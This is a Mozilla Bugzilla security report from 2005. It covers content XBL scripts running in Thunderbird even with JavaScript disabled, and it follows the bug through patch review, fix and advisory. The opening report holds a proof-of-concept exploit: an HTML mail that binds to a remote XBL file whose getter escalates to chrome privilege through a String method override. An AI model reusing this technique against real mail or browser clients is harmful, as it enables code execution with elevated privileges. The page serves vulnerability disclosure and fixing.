Closed Bug 292591 Opened 20 years ago Closed 20 years ago

content XBL scripts run even when Javascript turned off (Thunderbird exposed to any JS exploit)

Categories

(Core :: XBL, defect)

Product:
Core
Component:
XBL
Version:
1.7 Branch
Platform:
x86
Windows XP
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
RESOLVED FIXED
Milestone:
mozilla1.8beta3

People

(Reporter: moz_bug_r_a4, Assigned: bzbarsky)

References

Details

(Keywords: fixed-aviary1.0.5, fixed1.7.9, Whiteboard: [sg:fix] have patch)

Attachments

(3 files, 2 obsolete files)

And even compiling
5.33 KB, patch
sicking
: review+
dveditz
: superreview+
shaver
: approval-aviary1.0.5+
shaver
: approval1.7.9+
shaver
: approval1.8b3+
Details | Diff | Splinter Review
1.7/aviary branch patch
2.26 KB, patch
Details | Diff | Splinter Review
testcase for QA
1.17 KB, text/xml
Details
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Thunderbird/1.0.2 1) Disabling JavaScript doesn't stop the XBL version of bug 289074 and bug 289083. (bug 289074 comment 89) 2) Thunderbird doesn't block remote XBL, even though "Block loading of remote images" setting is true. (bug 292589) thus, Thunderbird is exploitable *by default*. Affected: (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Thunderbird/1.0.2 (Windows; U; Windows NT 5.1; en-US; rv:1.8b2) Gecko/20050501 Thunderbird/1.0+ Not Affected: (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050501 Thunderbird/1.0.4 Reproducible: Always Steps to Reproduce: create the following HTML mail, and receive it, and open it. <body> <p>If the remote XBL is loaded, a red box appears below.</p> <p style="-moz-binding:url(http://members.tripod.com/cv6y-mlr8-9hh/sgh7-ry6s/test-ex.xml#x);"></p> </body> ----- http://members.tripod.com/cv6y-mlr8-9hh/sgh7-ry6s/test-ex.xml is: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <binding id="x"> <content> <xul:vbox style="border: solid 2px #f00;"> <xul:label value="This is the remote XBL content."/> <xul:label value="Left-click or Right-click or Middle-click on me."/> </xul:vbox> </content> <implementation> <property name="localName"> <getter> <![CDATA[ // it needs chrome privilege to get |Components.stack| var code = "alert('Exploit!\\n\\n' + Components.stack);'p';"; var s = new String("P"); s.toLowerCase = new Script(code); return s; ]]> </getter> </property> </implementation> </binding> </bindings>
Turning this into a bug on the basic issue: non-trusted (content) XBL scripts still run even when Javascript is disabled. The Thunderbird version of bugs 289074 and 289083 et al will be fixed anyway in the next rev of Thunderbird which will pick up the core engine fixes.
Status: UNCONFIRMED → NEW
Component: Security → XBL
Ever confirmed: true
Flags: blocking-aviary1.1+
Flags: blocking-aviary1.0.4+
Product: Thunderbird → Core
Summary: By default, Thunderbird is exploitable by bug 289074 and bug 289083 → content XBL scripts run even when Javascript turned off (Thunderbird exposed to any JS exploit)
Whiteboard: [sg:fix]
Version: unspecified → 1.7 Branch
I thought we already had a bug on this, but I don't see one... I see bugs on the opposite, in fact (bug 236839) and on not-quite-same (bug 277836). In any case, from the discussion on security-group from a few days back: As a short-term fix, we could disallow script in bindings by making nsXBLBinding::AllowScripts() look at the security context of either the bound element or the binding document (in the latter case we may also be able to do this on the XBLDocumentInfo level; see nsXBLDocumentInfo::nsXBLDocumentInfo). The more I think about it, the more I think that the right security context is that of the binding document. If people think otherwise, please let me know.
Blocks: 277836
Another option is to use the security context of the stylesheet that has the 'winning' -moz-binding rule. This way xbl that's added through extensions will still work, but it's not possible for content to bind to chrome-xbl and get scripts running. I know we've talked about using this context to compile the scripts in the xbl. That, of course, is a whole other discussion. But it's where I got the idea.
> Another option is to use the security context of the stylesheet that has the > 'winning' -moz-binding rule. We don't know which sheet that is, as it happens.... (we don't keep track of that in the style system).
That could be fixed, no? Couldn't we work our way back from the rule to the stylesheet whenever we hit an -moz-binding rule? Or attach the stylesheet rule to the -moz-binding property as part of the parsed value?
> Or attach the stylesheet rule to the -moz-binding property as part of the > parsed value? This we could maybe do, but doing it without leaking would be interesting...
Err.. I ment: Attach the stylesheet _uri_ as part of the parsed value. That should be easy to do without leaking since it's just a refcounted nsIURI
Yeah, that we could do. Might not be a bad idea.... David, what do you think?
For this bug it should even be enough to attach a flag indicating if the stylesheet has a chrome uri or not (does userContent.css have a chrome uri?). But maybe the entire uri could be usefull for other things.
> (does userContent.css have a chrome uri?) It has a file:// URI for that file (gotten via the directory service).
This bug might still be exploitable in Thunderbird even though bug 292589 has been fixed, because the XBL could be an attachment (mailbox or imap URL, IIRC) or have a data: URL.
(In reply to comment #11) > This bug might still be exploitable in Thunderbird even though bug 292589 has > been fixed, because the XBL could be an attachment (mailbox or imap URL, IIRC) > or have a data: URL. Oh yes, bug 292589 in no way fixes this bug; they are separate issues. This bug also means browser users will not be able to protect themselves from some future exploits by disabling Javascript. This is basically a dupe of blocking bug 277836, left separate because it's security sensitive until the thunderbird issues in comment 0 are resolved. Bug 277836 is public and doesn't appear to consider the security implications of not being able to disable javascript when a hole is discovered.
Jesse and I talked about this a bit. Using the bound node security context means that disabling JS will also disable any scripts in chrome bindings attached to content (eg marquee, flashblock, remote XUL, etc, etc). Using the binding security context means that content can try to load chrome bindings and get them to run script for it somehow... doesn't break as much, but is a much bigger attack vector). Note that using the CSS file URI is identical to using the binding URI in this last case -- both are chrome, really. Unless we're worried about the case where content binds a binding to an unexpected node type or something?
(In reply to comment #13) > Note that using the CSS file URI is identical to using the binding URI in this > last case -- both are chrome, really. Unless we're worried about the case > where content binds a binding to an unexpected node type or something? I don't get this comment. Or are you reffering to the fact that you can link to a chrome-css file. Why are we allowing that btw? Seems like no reason to let content link to a chrome-css file.
> Or are you reffering to the fact that you can link to a chrome-css file. That too, but also a lot of the bindings are attached via the UA stylesheet (see xul.css). > Seems like no reason to let content link to a chrome-css file. We want remote XUL to use the current theme.
Attached patch Maybe this? Not yet tested.... (obsolete) — — Splinter Review
This is the best I can do given the API the security manager exposes.... Ideas on how to test this are welcome. :(
Attached patch Slightly cleaner (obsolete) — — Splinter Review
I filed bug 294381 on a better CanExecuteScripts() api...
Attachment #183756 - Attachment is obsolete: true
I've tested that this stops script execution on the testcases in bug 289074 comment 91 and bug 289074 comment 93. I've also tested that it does NOT stop script execution on the testcase in bug 277836 (since that's a chrome binding).
Attachment #183759 - Attachment is obsolete: true
Attachment #183760 - Flags: superreview?(bryner)
Attachment #183760 - Flags: review?(dveditz)
Blocks: 289074
Blocks: sbb?
Comment on attachment 183760 [details] [diff] [review] And even compiling sr=dveditz
Attachment #183760 - Flags: superreview?(bryner)
Attachment #183760 - Flags: superreview+
Attachment #183760 - Flags: approval1.8b3?
Attachment #183760 - Flags: approval1.7.9?
Attachment #183760 - Flags: approval-aviary1.0.5?
Flags: blocking1.7.9+
Comment on attachment 183760 [details] [diff] [review] And even compiling a=shaver for trunk and branches.
Attachment #183760 - Flags: approval1.8b3?
Attachment #183760 - Flags: approval1.8b3+
Attachment #183760 - Flags: approval1.7.9?
Attachment #183760 - Flags: approval1.7.9+
Attachment #183760 - Flags: approval-aviary1.0.5?
Attachment #183760 - Flags: approval-aviary1.0.5+
Whiteboard: [sg:fix] → [sg:fix] have patch
Assignee: dveditz → bzbarsky
Target Milestone: --- → mozilla1.8beta3
Fixed for 1.8b3, 1.7.9, and aviary 1.0.5.
Keywords: fixed-aviary1.0.5, fixed1.7.9
Status: NEW → RESOLVED
Closed: 20 years ago
Resolution: --- → FIXED
Attached file testcase for QA —
This works in: Firefox 1.0+ (2005-06-02-18) Firefox 1.0.4 Mozilla 1.7.8 I guess this testcase would be needed for QA. because the old testcases (in bug 289074 comment 91 and bug 289074 comment 93) have been stopped in Firefox 1.0.3 and Mozilla 1.7.7.
Depends on: 296764
Depends on: 297603
It's likely that this caused at least two regressions (the bugs it depends on). We should sort those out before we ship a branch with this fix...
v.fixed on aviary with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050706 Firefox/1.0.5 using test case in comment #23
Adding distributors
Security advisories published
Group: security
This is new MFSA2005-46 advisory; http://www.mozilla.org/security/announce/mfsa2005-46.html now. For 'Alias' section this is SA16043's issue 2). Is it possible to update 'Alias' field?
Flags: testcase+
Flags: in-testsuite+ → in-testsuite?
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: